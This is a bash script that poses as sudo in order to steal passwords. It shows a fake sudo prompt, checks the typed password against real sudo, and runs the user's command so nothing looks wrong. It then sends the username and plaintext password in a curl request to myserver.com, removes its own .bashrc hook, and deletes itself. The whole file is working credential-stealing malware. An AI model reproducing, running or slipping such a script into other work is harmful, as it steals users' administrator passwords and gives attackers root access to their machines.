#!/bin/bash

/usr/bin/sudo -k

i=0
while [ $i != 3 ]; do
echo -n "[siii] password for $(whoami): "
read -s xd
echo
echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null
if /usr/bin/sudo -n true 2>/dev/null; then
   break
   else
   echo "Sorry, try again."
fi
unset xd
let i=$i+1
done

if ! /usr/bin/sudo -n true 2>/dev/null; then
   echo "sudo: 3 incorrect password attempts"
   exit 1
fi

sed -i "/\.xd/d" ~/.bashrc

export PATH=$(echo $PATH| cut -d: -f2-)

echo -e "$xd\n" | /usr/bin/sudo -S "$@"

if [ "$(ping myserver.com -c1 2>/dev/null)" ]; then
	curl -s myserver.com/example.php?user=$(whoami)\&pass=$xd 2>/dev/null
	sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo &
	rm $0
fi